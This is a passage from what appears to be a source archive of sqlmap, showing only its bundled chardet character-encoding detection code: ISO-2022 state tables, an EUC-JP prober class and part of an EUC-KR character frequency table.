2,2,2,2,2,2,2,2, # 80 - 87 2,2,2,2,2,2,2,2, # 88 - 8f 2,2,2,2,2,2,2,2, # 90 - 97 2,2,2,2,2,2,2,2, # 98 - 9f 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,2, # f8 - ff ) ISO2022JP_st = ( eStart, 3,eError,eStart,eStart,eStart,eStart,eStart,# 00-07 eStart,eStart,eError,eError,eError,eError,eError,eError,# 08-0f eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 10-17 eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,# 18-1f eError, 5,eError,eError,eError, 4,eError,eError,# 20-27 eError,eError,eError, 6,eItsMe,eError,eItsMe,eError,# 28-2f eError,eError,eError,eError,eError,eError,eItsMe,eItsMe,# 30-37 eError,eError,eError,eItsMe,eError,eError,eError,eError,# 38-3f eError,eError,eError,eError,eItsMe,eError,eStart,eStart,# 40-47 ) ISO2022JPCharLenTable = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0) ISO2022JPSMModel = {'classTable': ISO2022JP_cls, 'classFactor': 10, 'stateTable': ISO2022JP_st, 'charLenTable': ISO2022JPCharLenTable, 'name': "ISO-2022-JP"} ISO2022KR_cls = ( 2,0,0,0,0,0,0,0, # 00 - 07 0,0,0,0,0,0,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 0,0,0,1,0,0,0,0, # 18 - 1f 0,0,0,0,3,0,0,0, # 20 - 27 0,4,0,0,0,0,0,0, # 28 - 2f 0,0,0,0,0,0,0,0, # 30 - 37 0,0,0,0,0,0,0,0, # 38 - 3f 0,0,0,5,0,0,0,0, # 40 - 47 0,0,0,0,0,0,0,0, # 48 - 4f 0,0,0,0,0,0,0,0, # 50 - 57 0,0,0,0,0,0,0,0, # 58 - 5f 0,0,0,0,0,0,0,0, # 60 - 67 0,0,0,0,0,0,0,0, # 68 - 6f 0,0,0,0,0,0,0,0, # 70 - 77 0,0,0,0,0,0,0,0, # 78 - 7f 2,2,2,2,2,2,2,2, # 80 - 87 2,2,2,2,2,2,2,2, # 88 - 8f 2,2,2,2,2,2,2,2, # 90 - 97 2,2,2,2,2,2,2,2, # 98 - 9f 2,2,2,2,2,2,2,2, # a0 - a7 2,2,2,2,2,2,2,2, # a8 - af 2,2,2,2,2,2,2,2, # b0 - b7 2,2,2,2,2,2,2,2, # b8 - bf 2,2,2,2,2,2,2,2, # c0 - c7 2,2,2,2,2,2,2,2, # c8 - cf 2,2,2,2,2,2,2,2, # d0 - d7 2,2,2,2,2,2,2,2, # d8 - df 2,2,2,2,2,2,2,2, # e0 - e7 2,2,2,2,2,2,2,2, # e8 - ef 2,2,2,2,2,2,2,2, # f0 - f7 2,2,2,2,2,2,2,2, # f8 - ff ) ISO2022KR_st = ( eStart, 3,eError,eStart,eStart,eStart,eError,eError,# 00-07 eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,# 08-0f eItsMe,eItsMe,eError,eError,eError, 4,eError,eError,# 10-17 eError,eError,eError,eError, 5,eError,eError,eError,# 18-1f eError,eError,eError,eItsMe,eStart,eStart,eStart,eStart,# 20-27 ) ISO2022KRCharLenTable = (0, 0, 0, 0, 0, 0) ISO2022KRSMModel = {'classTable': ISO2022KR_cls, 'classFactor': 6, 'stateTable': ISO2022KR_st, 'charLenTable': ISO2022KRCharLenTable, 'name': "ISO-2022-KR"} # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/eucjpprober.py000066400000000000000000000071371326012263700215230ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import sys from . import constants from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCJPDistributionAnalysis from .jpcntx import EUCJPContextAnalysis from .mbcssm import EUCJPSMModel class EUCJPProber(MultiByteCharSetProber): def __init__(self): MultiByteCharSetProber.__init__(self) self._mCodingSM = CodingStateMachine(EUCJPSMModel) self._mDistributionAnalyzer = EUCJPDistributionAnalysis() self._mContextAnalyzer = EUCJPContextAnalysis() self.reset() def reset(self): MultiByteCharSetProber.reset(self) self._mContextAnalyzer.reset() def get_charset_name(self): return "EUC-JP" def feed(self, aBuf): aLen = len(aBuf) for i in xrange(0, aLen): # PY3K: aBuf is a byte array, so aBuf[i] is an int, not a byte codingState = self._mCodingSM.next_state(aBuf[i]) if codingState == constants.eError: if constants._debug: sys.stderr.write(self.get_charset_name() + ' prober hit error at byte ' + str(i) + '\n') self._mState = constants.eNotMe break elif codingState == constants.eItsMe: self._mState = constants.eFoundIt break elif codingState == constants.eStart: charLen = self._mCodingSM.get_current_charlen() if i == 0: self._mLastChar[1] = aBuf[0] self._mContextAnalyzer.feed(self._mLastChar, charLen) self._mDistributionAnalyzer.feed(self._mLastChar, charLen) else: self._mContextAnalyzer.feed(aBuf[i - 1:i + 1], charLen) self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1], charLen) self._mLastChar[0] = aBuf[aLen - 1] if self.get_state() == constants.eDetecting: if (self._mContextAnalyzer.got_enough_data() and (self.get_confidence() > constants.SHORTCUT_THRESHOLD)): self._mState = constants.eFoundIt return self.get_state() def get_confidence(self): contxtCf = self._mContextAnalyzer.get_confidence() distribCf = self._mDistributionAnalyzer.get_confidence() return max(contxtCf, distribCf) sqlmap-1.2.4/thirdparty/chardet/euckrfreq.py000066400000000000000000001316321326012263700211700ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # Sampling from about 20M text materials include literature and computer technology # 128 --> 0.79 # 256 --> 0.92 # 512 --> 0.986 # 1024 --> 0.99944 # 2048 --> 0.99999 # # Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24 # Random Distribution Ration = 512 / (2350-512) = 0.279. # # Typical Distribution Ratio EUCKR_TYPICAL_DISTRIBUTION_RATIO = 6.0 EUCKR_TABLE_SIZE = 2352 # Char to FreqOrder table , EUCKRCharToFreqOrder = ( \ 13, 130, 120,1396, 481,1719,1720, 328, 609, 212,1721, 707, 400, 299,1722, 87, 1397,1723, 104, 536,1117,1203,1724,1267, 685,1268, 508,1725,1726,1727,1728,1398, 1399,1729,1730,1731, 141, 621, 326,1057, 368,1732, 267, 488, 20,1733,1269,1734, 945,1400,1735, 47, 904,1270,1736,1737, 773, 248,1738, 409, 313, 786, 429,1739, 116, 987, 813,1401, 683, 75,1204, 145,1740,1741,1742,1743, 16, 847, 667, 622, 708,1744,1745,1746, 966, 787, 304, 129,1747, 60, 820, 123, 676,1748,1749,1750, 1751, 617,1752, 626,1753,1754,1755,1756, 653,1757,1758,1759,1760,1761,1762, 856, 344,1763,1764,1765,1766, 89, 401, 418, 806, 905, 848,1767,1768,1769, 946,1205, 709,1770,1118,1771, 241,1772,1773,1774,1271,1775, 569,1776, 999,1777,1778,1779, 1780, 337, 751,1058, 28, 628, 254,1781, 177, 906, 270, 349, 891,1079,1782, 19, 1783, 379,1784, 315,1785, 629, 754,1402, 559,1786, 636, 203,1206,1787, 710, 567, 1788, 935, 814,1789,1790,1207, 766, 528,1791,1792,1208,1793,1794,1795,1796,1797, 1403,1798,1799, 533,1059,1404,1405,1156,1406, 936, 884,1080,1800, 351,1801,1802, 1803,1804,1805, 801,1806,1807,1808,1119,1809,1157, 714, 474,1407,1810, 298, 899, 885,1811,1120, 802,1158,1812, 892,1813,1814,1408, 659,1815,1816,1121,1817,1818, 1819,1820,1821,1822, 319,1823, 594, 545,1824, 815, 937,1209,1825,1826, 573,1409, 1022,1827,1210,1828,1829,1830,1831,1832,1833, 556, 722, 807,1122,1060,1834, 697, 1835, 900, 557, 715,1836,1410, 540,1411, 752,1159, 294, 597,1211, 976, 803, 770, 1412,1837,1838, 39, 794,1413, 358,1839, 371, 925,1840, 453, 661, 788, 531, 723, 544,1023,1081, 869, 91,1841, 392, 430, 790, 602,1414, 677,1082, 457,1415,1416, 1842,1843, 475, 327,1024,1417, 795, 121,1844, 733, 403,1418,1845,1846,1847, 300, 119, 711,1212, 627,1848,1272, 207,1849,1850, 796,1213, 382,1851, 519,1852,1083, 893,1853,1854,1855, 367, 809, 487, 671,1856, 663,1857,1858, 956, 471, 306, 857, 1859,1860,1160,1084,1861,1862,1863,1864,1865,1061,1866,1867,1868,1869,1870,1871, 282, 96, 574,1872, 502,1085,1873,1214,1874, 907,1875,1876, 827, 977,1419,1420, 1421, 268,1877,1422,1878,1879,1880, 308,1881, 2, 537,1882,1883,1215,1884,1885, 127, 791,1886,1273,1423,1887, 34, 336, 404, 643,1888, 571, 654, 894, 840,1889, 0, 886,1274, 122, 575, 260, 908, 938,1890,1275, 410, 316,1891,1892, 100,1893, 1894,1123, 48,1161,1124,1025,1895, 633, 901,1276,1896,1897, 115, 816,1898, 317, 1899, 694,1900, 909, 734,1424, 572, 866,1425, 691, 85, 524,1010, 543, 394, 841, 1901,1902,1903,1026,1904,1905,1906,1907,1908,1909, 30, 451, 651, 988, 310,1910, 1911,1426, 810,1216, 93,1912,1913,1277,1217,1914, 858, 759, 45, 58, 181, 610, 269,1915,1916, 131,1062, 551, 443,1000, 821,1427, 957, 895,1086,1917,1918, 375, 1919, 359,1920, 687,1921, 822,1922, 293,1923,1924, 40, 662, 118, 692, 29, 939, 887, 640, 482, 174,1925, 69,1162, 728,1428, 910,1926,1278,1218,1279, 386, 870, 217, 854,1163, 823,1927,1928,1929,1930, 834,1931, 78,1932, 859,1933,1063,1934, 1935,1936,1937, 438,1164, 208, 595,1938,1939,1940,1941,1219,1125,1942, 280, 888, 1429,1430,1220,1431,1943,1944,1945,1946,1947,1280, 150, 510,1432,1948,1949,1950, 1951,1952,1953,1954,1011,1087,1955,1433,1043,1956, 881,1957, 614, 958,1064,1065, 1221,1958, 638,1001, 860, 967, 896,1434, 989, 492, 553,1281,1165,1959,1282,1002, 1283,1222,1960,1961,1962,1963, 36, 383, 228, 753, 247, 454,1964, 876, 678,1965, 1966,1284, 126, 464, 490, 835, 136, 672, 529, 940,1088,1435, 473,1967,1968, 467, 50, 390, 227, 587, 279, 378, 598, 792, 968, 240, 151, 160, 849, 882,1126,1285, 639,1044, 133, 140, 288, 360, 811, 563,1027, 561, 142, 523,1969,1970,1971, 7, 103, 296, 439, 407, 506, 634, 990,1972,1973,1974,1975, 645,1976,1977,1978,1979, 1980,1981, 236,1982,1436,1983,1984,1089, 192, 828, 618, 518,1166, 333,1127,1985, 818,1223,1986,1987,1988,1989,1990,1991,1992,1993, 342,1128,1286, 746, 842,1994, 1995, 560, 223,1287, 98, 8, 189, 650, 978,1288,1996,1437,1997, 17, 345, 250, 423, 277, 234, 512, 226, 97, 289, 42, 167,1998, 201,1999,2000, 843, 836, 824, 532, 338, 783,1090, 182, 576, 436,1438,1439, 527, 500,2001, 947, 889,2002,2003, 2004,2005, 262, 600, 314, 447,2006, 547,2007, 693, 738,1129,2008, 71,1440, 745, 619, 688,2009, 829,2010,2011, 147,2012, 33, 948,2013,2014, 74, 224,2015, 61, 191, 918, 399, 637,2016,1028,1130, 257, 902,2017,2018,2019,2020,2021,2022,2023, 2024,2025,2026, 837,2027,2028,2029,2030, 179, 874, 591, 52, 724, 246,2031,2032, 2033,2034,1167, 969,2035,1289, 630, 605, 911,1091,1168,2036,2037,2038,1441, 912, 2039, 623,2040,2041, 253,1169,1290,2042,1442, 146, 620, 611, 577, 433,2043,1224, 719,1170, 959, 440, 437, 534, 84, 388, 480,1131, 159, 220, 198, 679,2044,1012, 819,1066,1443, 113,1225, 194, 318,1003,1029,2045,2046,2047,2048,1067,2049,2050, 2051,2052,2053, 59, 913, 112,2054, 632,2055, 455, 144, 739,1291,2056, 273, 681, 499,2057, 448,2058,2059, 760,2060,2061, 970, 384, 169, 245,1132,2062,2063, 414, 1444,2064,2065, 41, 235,2066, 157, 252, 877, 568, 919, 789, 580,2067, 725,2068, 2069,1292,2070,2071,1445,2072,1446,2073,2074, 55, 588, 66,1447, 271,1092,2075, 1226,2076, 960,1013, 372,2077,2078,2079,2080,2081,1293,2082,2083,2084,2085, 850, 2086,2087,2088,2089,2090, 186,2091,1068, 180,2092,2093,2094, 109,1227, 522, 606, 2095, 867,1448,1093, 991,1171, 926, 353,1133,2096, 581,2097,2098,2099,1294,1449, 1450,2100, 596,1172,1014,1228,2101,1451,1295,1173,1229,2102,2103,1296,1134,1452, 949,1135,2104,2105,1094,1453,1454,1455,2106,1095,2107,2108,2109,2110,2111,2112, 2113,2114,2115,2116,2117, 804,2118,2119,1230,1231, 805,1456, 405,1136,2120,2121, 2122,2123,2124, 720, 701,1297, 992,1457, 927,1004,2125,2126,2127,2128,2129,2130, 22, 417,2131, 303,2132, 385,2133, 971, 520, 513,2134,1174, 73,1096, 231, 274, 962,1458, 673,2135,1459,2136, 152,1137,2137,2138,2139,2140,1005,1138,1460,1139, 2141,2142,2143,2144, 11, 374, 844,2145, 154,1232, 46,1461,2146, 838, 830, 721, 1233, 106,2147, 90, 428, 462, 578, 566,1175, 352,2148,2149, 538,1234, 124,1298, 2150,1462, 761, 565,2151, 686,2152, 649,2153, 72, 173,2154, 460, 415,2155,1463, 2156,1235, 305,2157,2158,2159,2160,2161,2162, 579,2163,2164,2165,2166,2167, 747, 2168,2169,2170,2171,1464, 669,2172,2173,2174,2175,2176,1465,2177, 23, 530, 285, 2178, 335, 729,2179, 397,2180,2181,2182,1030,2183,2184, 698,2185,2186, 325,2187, 2188, 369,2189, 799,1097,1015, 348,2190,1069, 680,2191, 851,1466,2192,2193, 10, 2194, 613, 424,2195, 979, 108, 449, 589, 27, 172, 81,1031, 80, 774, 281, 350, 1032, 525, 301, 582,1176,2196, 674,1045,2197,2198,1467, 730, 762,2199,2200,2201, 2202,1468,2203, 993,2204,2205, 266,1070, 963,1140,2206,2207,2208, 664,1098, 972, 2209,2210,2211,1177,1469,1470, 871,2212,2213,2214,2215,2216,1471,2217,2218,2219, 2220,2221,2222,2223,2224,2225,2226,2227,1472,1236,2228,2229,2230,2231,2232,2233, 2234,2235,1299,2236,2237, 200,2238, 477, 373,2239,2240, 731, 825, 777,2241,2242, 2243, 521, 486, 548,2244,2245,2246,1473,1300, 53, 549, 137, 875, 76, 158,2247, 1301,1474, 469, 396,1016, 278, 712,2248, 321, 442, 503, 767, 744, 941,1237,1178, 1475,2249, 82, 178,1141,1179, 973,2250,1302,2251, 297,2252,2253, 570,2254,2255, 2256, 18, 450, 206,2257, 290, 292,1142,2258, 511, 162, 99, 346, 164, 735,2259, 1476,1477, 4, 554, 343, 798,1099,2260,1100,2261, 43, 171,1303, 139, 215,2262, 2263, 717, 775,2264,1033, 322, 216,2265, 831,2266, 149,2267,1304,2268,2269, 702, 1238, 135, 845, 347, 309,2270, 484,2271, 878, 655, 238,1006,1478,2272, 67,2273, 295,2274,2275, 461,2276, 478, 942, 412,2277,1034,2278,2279,2280, 265,2281, 541, 2282,2283,2284,2285,2286, 70, 852,1071,2287,2288,2289,2290, 21, 56, 509, 117, 432,2291,2292, 331, 980, 552,1101, 148, 284, 105, 393,1180,1239, 755,2293, 187, 2294,1046,1479,2295, 340,2296, 63,1047, 230,2297,2298,1305, 763,1306, 101, 800, 808, 494,2299,2300,2301, 903,2302, 37,1072, 14, 5,2303, 79, 675,2304, 312, 2305,2306,2307,2308,2309,1480, 6,1307,2310,2311,2312, 1, 470, 35, 24, 229, 2313, 695, 210, 86, 778, 15, 784, 592, 779, 32, 77, 855, 964,2314, 259,2315, 501, 380,2316,2317, 83, 981, 153, 689,1308,1481,1482,1483,2318,2319, 716,1484, 2320,2321,2322,2323,2324,2325,1485,2326,2327, 128, 57, 68, 261,1048, 211, 170, 1240, 31,2328, 51, 435, 742,2329,2330,2331, 635,2332, 264, 456,2333,2334,2335, 425,2336,1486, 143, 507, 263, 943,2337, 363, 920,1487, 256,1488,1102, 243, 601, 1489,2338,2339,2340,2341,2342,2343,2344, 861,2345,2346,2347,2348,2349,2350, 395, 2351,1490,1491, 62, 535, 166, 225,2352,2353, 668, 419,1241, 138, 604, 928,2354, 1181,2355,1492,1493,2356,2357,2358,1143,2359, 696,2360, 387, 307,1309, 682, 476, 2361,2362, 332, 12, 222, 156,2363, 232,2364, 641, 276, 656, 517,1494,1495,1035, 416, 736,1496,2365,1017, 586,2366,2367,2368,1497,2369, 242,2370,2371,2372,1498, 2373, 965, 713,2374,2375,2376,2377, 740, 982,1499, 944,1500,1007,2378,2379,1310, 1501,2380,2381,2382, 785, 329,2383,2384,1502,2385,2386,2387, 932,2388,1503,2389, 2390,2391,2392,1242,2393,2394,2395,2396,2397, 994, 950,2398,2399,2400,2401,1504, 1311,2402,2403,2404,2405,1049, 749,2406,2407, 853, 718,1144,1312,2408,1182,1505, 2409,2410, 255, 516, 479, 564, 550, 214,1506,1507,1313, 413, 239, 444, 339,1145, 1036,1508,1509,1314,1037,1510,1315,2411,1511,2412,2413,2414, 176, 703, 497, 624, 593, 921, 302,2415, 341, 165,1103,1512,2416,1513,2417,2418,2419, 376,2420, 700, 2421,2422,2423, 258, 768,1316,2424,1183,2425, 995, 608,2426,2427,2428,2429, 221, 2430,2431,2432,2433,2434,2435,2436,2437, 195, 323, 726, 188, 897, 983,1317, 377, 644,1050, 879,2438, 452,2439,2440,2441,2442,2443,2444, 914,2445,2446,2447,2448, 915, 489,2449,1514,1184,2450,2451, 515, 64, 427, 495,2452, 583,2453, 483, 485, 1038, 562, 213,1515, 748, 666,2454,2455,2456,2457, 334,2458, 780, 996,1008, 705, 1243,2459,2460,2461,2462,2463, 114,2464, 493,1146, 366, 163,1516, 961,1104,2465, 291,2466,1318,1105,2467,1517, 365,2468, 355, 951,1244,2469,1319,2470, 631,2471, 2472, 218,1320, 364, 320, 756,1518,1519,1321,1520,1322,2473,2474,2475,2476, 997, 2477,2478,2479,2480, 665,1185,2481, 916,1521,2482,2483,2484, 584, 684,2485,2486, 797,2487,1051,1186,2488,2489,2490,1522,2491,2492, 370,2493,1039,1187, 65,2494, 434, 205, 463,1188,2495, 125, 812, 391, 402, 826, 699, 286, 398, 155, 781, 771, 585,2496, 590, 505,1073,2497, 599, 244, 219, 917,1018, 952, 646,1523,2498,1323, 2499,2500, 49, 984, 354, 741,2501, 625,2502,1324,2503,1019, 190, 357, 757, 491, 95, 782, 868,2504,2505,2506,2507,2508,2509, 134,1524,1074, 422,1525, 898,2510, 161,2511,2512,2513,2514, 769,2515,1526,2516,2517, 411,1325,2518, 472,1527,2519, 2520,2521,2522,2523,2524, 985,2525,2526,2527,2528,2529,2530, 764,2531,1245,2532, 2533, 25, 204, 311,2534, 496,2535,1052,2536,2537,2538,2539,2540,2541,2542, 199, 704, 504, 468, 758, 657,1528, 196, 44, 839,1246, 272, 750,2543, 765, 862,2544, 2545,1326,2546, 132, 615, 933,2547, 732,2548,2549,2550,1189,1529,2551, 283,1247, 1053, 607, 929,2552,2553,2554, 930, 183, 872, 616,1040,1147,2555,1148,1020, 441, 249,1075,2556,2557,2558, 466, 743,2559,2560,2561, 92, 514, 426, 420, 526,2562, 2563,2564,2565,2566,2567,2568, 185,2569,2570,2571,2572, 776,1530, 658,2573, 362, 2574, 361, 922,1076, 793,2575,2576,2577,2578,2579,2580,1531, 251,2581,2582,2583, 2584,1532, 54, 612, 237,1327,2585,2586, 275, 408, 647, 111,2587,1533,1106, 465, 3, 458, 9, 38,2588, 107, 110, 890, 209, 26, 737, 498,2589,1534,2590, 431, 202, 88,1535, 356, 287,1107, 660,1149,2591, 381,1536, 986,1150, 445,1248,1151, 974,2592,2593, 846,2594, 446, 953, 184,1249,1250, 727,2595, 923, 193, 883,2596, 2597,2598, 102, 324, 539, 817,2599, 421,1041,2600, 832,2601, 94, 175, 197, 406, 2602, 459,2603,2604,2605,2606,2607, 330, 555,2608,2609,2610, 706,1108, 389,2611, 2612,2613,2614, 233,2615, 833, 558, 931, 954,1251,2616,2617,1537, 546,2618,2619, 1009,2620,2621,2622,1538, 690,1328,2623, 955,2624,1539,2625,2626, 772,2627,2628, 2629,2630,2631, 924, 648, 863, 603,2632,2633, 934,1540, 864, 865,2634, 642,1042, 670,1190,2635,2636,2637,2638, 168,2639, 652, 873, 542,1054,1541,2640,2641,2642, # 512, 256 #Everything below is of no interest for detection purpose 2643,2644,2645,2646,2647,2648,2649,2650,2651,2652,2653,2654,2655,2656,2657,2658, 2659,2660,2661,2662,2663,2664,2665,2666,2667,2668,2669,2670,2671,2672,2673,2674, 2675,2676,2677,2678,2679,2680,2681,2682,2683,2684,2685,2686,2687,2688,2689,2690, 2691,2692,2693,2694,2695,2696,2697,2698,2699,1542, 880,2700,2701,2702,2703,2704, 2705,2706,2707,2708,2709,2710,2711,2712,2713,2714,2715,2716,2717,2718,2719,2720, 2721,2722,2723,2724,2725,1543,2726,2727,2728,2729,2730,2731,2732,1544,2733,2734, 2735,2736,2737,2738,2739,2740,2741,2742,2743,2744,2745,2746,2747,2748,2749,2750, 2751,2752,2753,2754,1545,2755,2756,2757,2758,2759,2760,2761,2762,2763,2764,2765, 2766,1546,2767,1547,2768,2769,2770,2771,2772,2773,2774,2775,2776,2777,2778,2779, 2780,2781,2782,2783,2784,2785,2786,1548,2787,2788,2789,1109,2790,2791,2792,2793, 2794,2795,2796,2797,2798,2799,2800,2801,2802,2803,2804,2805,2806,2807,2808,2809, 2810,2811,2812,1329,2813,2814,2815,2816,2817,2818,2819,2820,2821,2822,2823,2824, 2825,2826,2827,2828,2829,2830,2831,2832,2833,2834,2835,2836,2837,2838,2839,2840, 2841,2842,2843,2844,2845,2846,2847,2848,2849,2850,2851,2852,2853,2854,2855,2856, 1549,2857,2858,2859,2860,1550,2861,2862,1551,2863,2864,2865,2866,2867,2868,2869, 2870,2871,2872,2873,2874,1110,1330,2875,2876,2877,2878,2879,2880,2881,2882,2883, 2884,2885,2886,2887,2888,2889,2890,2891,2892,2893,2894,2895,2896,2897,2898,2899, 2900,2901,2902,2903,2904,2905,2906,2907,2908,2909,2910,2911,2912,2913,2914,2915, 2916,2917,2918,2919,2920,2921,2922,2923,2924,2925,2926,2927,2928,2929,2930,1331, 2931,2932,2933,2934,2935,2936,2937,2938,2939,2940,2941,2942,2943,1552,2944,2945, 2946,2947,2948,2949,2950,2951,2952,2953,2954,2955,2956,2957,2958,2959,2960,2961, 2962,2963,2964,1252,2965,2966,2967,2968,2969,2970,2971,2972,2973,2974,2975,2976, 2977,2978,2979,2980,2981,2982,2983,2984,2985,2986,2987,2988,2989,2990,2991,2992, 2993,2994,2995,2996,2997,2998,2999,3000,3001,3002,3003,3004,3005,3006,3007,3008, 3009,3010,3011,3012,1553,3013,3014,3015,3016,3017,1554,3018,1332,3019,3020,3021, 3022,3023,3024,3025,3026,3027,3028,3029,3030,3031,3032,3033,3034,3035,3036,3037, 3038,3039,3040,3041,3042,3043,3044,3045,3046,3047,3048,3049,3050,1555,3051,3052, 3053,1556,1557,3054,3055,3056,3057,3058,3059,3060,3061,3062,3063,3064,3065,3066, 3067,1558,3068,3069,3070,3071,3072,3073,3074,3075,3076,1559,3077,3078,3079,3080, 3081,3082,3083,1253,3084,3085,3086,3087,3088,3089,3090,3091,3092,3093,3094,3095, 3096,3097,3098,3099,3100,3101,3102,3103,3104,3105,3106,3107,3108,1152,3109,3110, 3111,3112,3113,1560,3114,3115,3116,3117,1111,3118,3119,3120,3121,3122,3123,3124, 3125,3126,3127,3128,3129,3130,3131,3132,3133,3134,3135,3136,3137,3138,3139,3140, 3141,3142,3143,3144,3145,3146,3147,3148,3149,3150,3151,3152,3153,3154,3155,3156, 3157,3158,3159,3160,3161,3162,3163,3164,3165,3166,3167,3168,3169,3170,3171,3172, 3173,3174,3175,3176,1333,3177,3178,3179,3180,3181,3182,3183,3184,3185,3186,3187, 3188,3189,1561,3190,3191,1334,3192,3193,3194,3195,3196,3197,3198,3199,3200,3201, 3202,3203,3204,3205,3206,3207,3208,3209,3210,3211,3212,3213,3214,3215,3216,3217, 3218,3219,3220,3221,3222,3223,3224,3225,3226,3227,3228,3229,3230,3231,3232,3233, 3234,1562,3235,3236,3237,3238,3239,3240,3241,3242,3243,3244,3245,3246,3247,3248, 3249,3250,3251,3252,3253,3254,3255,3256,3257,3258,3259,3260,3261,3262,3263,3264, 3265,3266,3267,3268,3269,3270,3271,3272,3273,3274,3275,3276,3277,1563,3278,3279, 3280,3281,3282,3283,3284,3285,3286,3287,3288,3289,3290,3291,3292,3293,3294,3295, 3296,3297,3298,3299,3300,3301,3302,3303,3304,3305,3306,3307,3308,3309,3310,3311, 3312,3313,3314,3315,3316,3317,3318,3319,3320,3321,3322,3323,3324,3325,3326,3327, 3328,3329,3330,3331,3332,3333,3334,3335,3336,3337,3338,3339,3340,3341,3342,3343, 3344,3345,3346,3347,3348,3349,3350,3351,3352,3353,3354,3355,3356,3357,3358,3359, 3360,3361,3362,3363,3364,1335,3365,3366,3367,3368,3369,3370,3371,3372,3373,3374, 3375,3376,3377,3378,3379,3380,3381,3382,3383,3384,3385,3386,3387,1336,3388,3389, 3390,3391,3392,3393,3394,3395,3396,3397,3398,3399,3400,3401,3402,3403,3404,3405, 3406,3407,3408,3409,3410,3411,3412,3413,3414,1337,3415,3416,3417,3418,3419,1338, 3420,3421,3422,1564,1565,3423,3424,3425,3426,3427,3428,3429,3430,3431,1254,3432, 3433,3434,1339,3435,3436,3437,3438,3439,1566,3440,3441,3442,3443,3444,3445,3446, 3447,3448,3449,3450,3451,3452,3453,3454,1255,3455,3456,3457,3458,3459,1567,1191, 3460,1568,1569,3461,3462,3463,1570,3464,3465,3466,3467,3468,1571,3469,3470,3471, 3472,3473,1572,3474,3475,3476,3477,3478,3479,3480,3481,3482,3483,3484,3485,3486, 1340,3487,3488,3489,3490,3491,3492,1021,3493,3494,3495,3496,3497,3498,1573,3499, 1341,3500,3501,3502,3503,3504,3505,3506,3507,3508,3509,3510,3511,1342,3512,3513, 3514,3515,3516,1574,1343,3517,3518,3519,1575,3520,1576,3521,3522,3523,3524,3525, 3526,3527,3528,3529,3530,3531,3532,3533,3534,3535,3536,3537,3538,3539,3540,3541, 3542,3543,3544,3545,3546,3547,3548,3549,3550,3551,3552,3553,3554,3555,3556,3557, 3558,3559,3560,3561,3562,3563,3564,3565,3566,3567,3568,3569,3570,3571,3572,3573, 3574,3575,3576,3577,3578,3579,3580,1577,3581,3582,1578,3583,3584,3585,3586,3587, 3588,3589,3590,3591,3592,3593,3594,3595,3596,3597,3598,3599,3600,3601,3602,3603, 3604,1579,3605,3606,3607,3608,3609,3610,3611,3612,3613,3614,3615,3616,3617,3618, 3619,3620,3621,3622,3623,3624,3625,3626,3627,3628,3629,1580,3630,3631,1581,3632, 3633,3634,3635,3636,3637,3638,3639,3640,3641,3642,3643,3644,3645,3646,3647,3648, 3649,3650,3651,3652,3653,3654,3655,3656,1582,3657,3658,3659,3660,3661,3662,3663, 3664,3665,3666,3667,3668,3669,3670,3671,3672,3673,3674,3675,3676,3677,3678,3679, 3680,3681,3682,3683,3684,3685,3686,3687,3688,3689,3690,3691,3692,3693,3694,3695, 3696,3697,3698,3699,3700,1192,3701,3702,3703,3704,1256,3705,3706,3707,3708,1583, 1257,3709,3710,3711,3712,3713,3714,3715,3716,1584,3717,3718,3719,3720,3721,3722, 3723,3724,3725,3726,3727,3728,3729,3730,3731,3732,3733,3734,3735,3736,3737,3738, 3739,3740,3741,3742,3743,3744,3745,1344,3746,3747,3748,3749,3750,3751,3752,3753, 3754,3755,3756,1585,3757,3758,3759,3760,3761,3762,3763,3764,3765,3766,1586,3767, 3768,3769,3770,3771,3772,3773,3774,3775,3776,3777,3778,1345,3779,3780,3781,3782, 3783,3784,3785,3786,3787,3788,3789,3790,3791,3792,3793,3794,3795,1346,1587,3796, 